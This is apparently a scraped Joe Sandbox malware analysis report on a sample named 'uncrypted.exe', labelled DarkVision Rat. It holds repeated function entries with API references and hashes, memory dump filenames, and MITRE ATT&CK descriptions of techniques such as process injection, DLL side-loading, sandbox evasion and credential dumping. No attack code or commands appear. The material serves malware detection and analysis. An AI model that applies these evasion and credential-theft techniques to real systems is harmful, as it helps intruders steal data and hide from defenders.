Opcode Fuzzy Hash: cad900d789a40a9619eb8a84c31abfdaddefd0efb2762fffc6044bd3b6a371bc
Instruction Fuzzy Hash: 02F09E31118A4481FB5DBB64F8D83D56762F780B59F44113AA766955F4CFBCC4CACB04

Function 01195959 Relevance: 5.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 01195A17
LocalFree.KERNEL32 ref: 01195A2E
CloseHandle.KERNEL32 ref: 01195A41
CloseHandle.KERNEL32 ref: 01195A54

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 6290d7383921826c2fb2153af05a94dd3d68b95febe418c75b29594f5142ad3d
Instruction ID: c2dbda10c42054e7a2984db37f2c2d75f12a05b0cb50b8294aa717a78882ed36
Opcode Fuzzy Hash: 6290d7383921826c2fb2153af05a94dd3d68b95febe418c75b29594f5142ad3d
Instruction Fuzzy Hash: 02F09E31118A4481FB5DBB64F8D83D56762F780B59F44113AA766955F4CFBCC4CACB04

Function 01195976 Relevance: 5.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 01195A17
LocalFree.KERNEL32 ref: 01195A2E
CloseHandle.KERNEL32 ref: 01195A41
CloseHandle.KERNEL32 ref: 01195A54

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 7b6153c6be145777827cd8c3fb034296d5dca575c3959cca0c07ce944510a9db
Instruction ID: c2dbda10c42054e7a2984db37f2c2d75f12a05b0cb50b8294aa717a78882ed36
Opcode Fuzzy Hash: 7b6153c6be145777827cd8c3fb034296d5dca575c3959cca0c07ce944510a9db
Instruction Fuzzy Hash: 02F09E31118A4481FB5DBB64F8D83D56762F780B59F44113AA766955F4CFBCC4CACB04

Function 011959A3 Relevance: 5.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 01195A17
LocalFree.KERNEL32 ref: 01195A2E
CloseHandle.KERNEL32 ref: 01195A41
CloseHandle.KERNEL32 ref: 01195A54

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: af4a35e4e4abec3209dc8fb34bcfc3cca6138c75e85fc8755ee537a112a803e6
Instruction ID: c2dbda10c42054e7a2984db37f2c2d75f12a05b0cb50b8294aa717a78882ed36
Opcode Fuzzy Hash: af4a35e4e4abec3209dc8fb34bcfc3cca6138c75e85fc8755ee537a112a803e6
Instruction Fuzzy Hash: 02F09E31118A4481FB5DBB64F8D83D56762F780B59F44113AA766955F4CFBCC4CACB04

Function 01195840 Relevance: 5.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 01195A17
LocalFree.KERNEL32 ref: 01195A2E
CloseHandle.KERNEL32 ref: 01195A41
CloseHandle.KERNEL32 ref: 01195A54

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 6fcbe49abc170e1c91c6467c457cb6c13931c4070732e08da6ef8548becb2af1
Instruction ID: c2dbda10c42054e7a2984db37f2c2d75f12a05b0cb50b8294aa717a78882ed36
Opcode Fuzzy Hash: 6fcbe49abc170e1c91c6467c457cb6c13931c4070732e08da6ef8548becb2af1
Instruction Fuzzy Hash: 02F09E31118A4481FB5DBB64F8D83D56762F780B59F44113AA766955F4CFBCC4CACB04

Function 011958D9 Relevance: 5.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 01195A17
LocalFree.KERNEL32 ref: 01195A2E
CloseHandle.KERNEL32 ref: 01195A41
CloseHandle.KERNEL32 ref: 01195A54

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 40ee07639c3be5b75497e6e884ebfb5705d9c6f6f58fa0c4bf9a654f76376cd9
Instruction ID: c2dbda10c42054e7a2984db37f2c2d75f12a05b0cb50b8294aa717a78882ed36
Opcode Fuzzy Hash: 40ee07639c3be5b75497e6e884ebfb5705d9c6f6f58fa0c4bf9a654f76376cd9
Instruction Fuzzy Hash: 02F09E31118A4481FB5DBB64F8D83D56762F780B59F44113AA766955F4CFBCC4CACB04

Function 011953E3 Relevance: 5.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 01195A17
LocalFree.KERNEL32 ref: 01195A2E
CloseHandle.KERNEL32 ref: 01195A41
CloseHandle.KERNEL32 ref: 01195A54

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: cc0291f771db6060459dd180bd0b9c9a08b45fa3966b5cc9664607b08890a75d
Instruction ID: c2dbda10c42054e7a2984db37f2c2d75f12a05b0cb50b8294aa717a78882ed36
Opcode Fuzzy Hash: cc0291f771db6060459dd180bd0b9c9a08b45fa3966b5cc9664607b08890a75d
Instruction Fuzzy Hash: 02F09E31118A4481FB5DBB64F8D83D56762F780B59F44113AA766955F4CFBCC4CACB04

Function 0119579E Relevance: 5.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 01195A17
LocalFree.KERNEL32 ref: 01195A2E
CloseHandle.KERNEL32 ref: 01195A41
CloseHandle.KERNEL32 ref: 01195A54

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 58d95034212d87b3fa1662d6023566bd8a85bc94c35c32b1f9a0b6e391890324
Instruction ID: c2dbda10c42054e7a2984db37f2c2d75f12a05b0cb50b8294aa717a78882ed36
Opcode Fuzzy Hash: 58d95034212d87b3fa1662d6023566bd8a85bc94c35c32b1f9a0b6e391890324
Instruction Fuzzy Hash: 02F09E31118A4481FB5DBB64F8D83D56762F780B59F44113AA766955F4CFBCC4CACB04

Function 0119569A Relevance: 5.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 01195A17
LocalFree.KERNEL32 ref: 01195A2E
CloseHandle.KERNEL32 ref: 01195A41
CloseHandle.KERNEL32 ref: 01195A54

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 5c06d81188742bad334a714b0b921bf5e4e99c4f22570477523bf823b0ebdd76
Instruction ID: c2dbda10c42054e7a2984db37f2c2d75f12a05b0cb50b8294aa717a78882ed36
Opcode Fuzzy Hash: 5c06d81188742bad334a714b0b921bf5e4e99c4f22570477523bf823b0ebdd76
Instruction Fuzzy Hash: 02F09E31118A4481FB5DBB64F8D83D56762F780B59F44113AA766955F4CFBCC4CACB04

Function 011AB1FB Relevance: 5.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 011AB2C0
LocalFree.KERNEL32 ref: 011AB2CE
CloseHandle.KERNEL32 ref: 011AB2DF
LocalFree.KERNEL32 ref: 011AB2ED

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: c5846185c44490f6f6e74aef4564aac99db16b98675db52f260037c00af0082f
Instruction ID: 241c720d9b9d658cb4cfe388411289cbf83877093b198c5aeb112465374cd0cb
Opcode Fuzzy Hash: c5846185c44490f6f6e74aef4564aac99db16b98675db52f260037c00af0082f
Instruction Fuzzy Hash: C9F06775218BC4C2DA29AF21F8943DD6721F7C8B95F404526DA5E43728CE28D489CB41

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report uncrypted.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: DarkVision Rat

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\uncrypted.exe.log

C:\Users\user\AppData\Local\Temp\DATABASE

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
uncrypted.exe

Function 01210D58 Relevance: 5.7, Strings: 4, Instructions: 743
COMMON

Function 01210D4F Relevance: 5.7, Strings: 4, Instructions: 733
COMMON

Function 01211329 Relevance: 2.8, Strings: 2, Instructions: 296
COMMON

Function 01218BAC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Function 01216F9C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 012130AD Relevance: 1.6, APIs: 1, Instructions: 76
memoryCOMMON

Function 01210534 Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Function 01211A81 Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Function 012130D8 Relevance: 1.6, APIs: 1, Instructions: 55
memoryCOMMON

Function 00410D50 Relevance: 109.0, APIs: 44, Strings: 18, Instructions: 544
nativestringprocessCOMMON

Function 0040CBF0 Relevance: 28.7, APIs: 19, Instructions: 229
stringCOMMON

Function 004084A0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 121
COMMON

Function 00406BC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76
registryCOMMON

Function 0041D650 Relevance: 10.6, APIs: 7, Instructions: 62
filememoryCOMMON

Function 00406AE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
registrystringCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

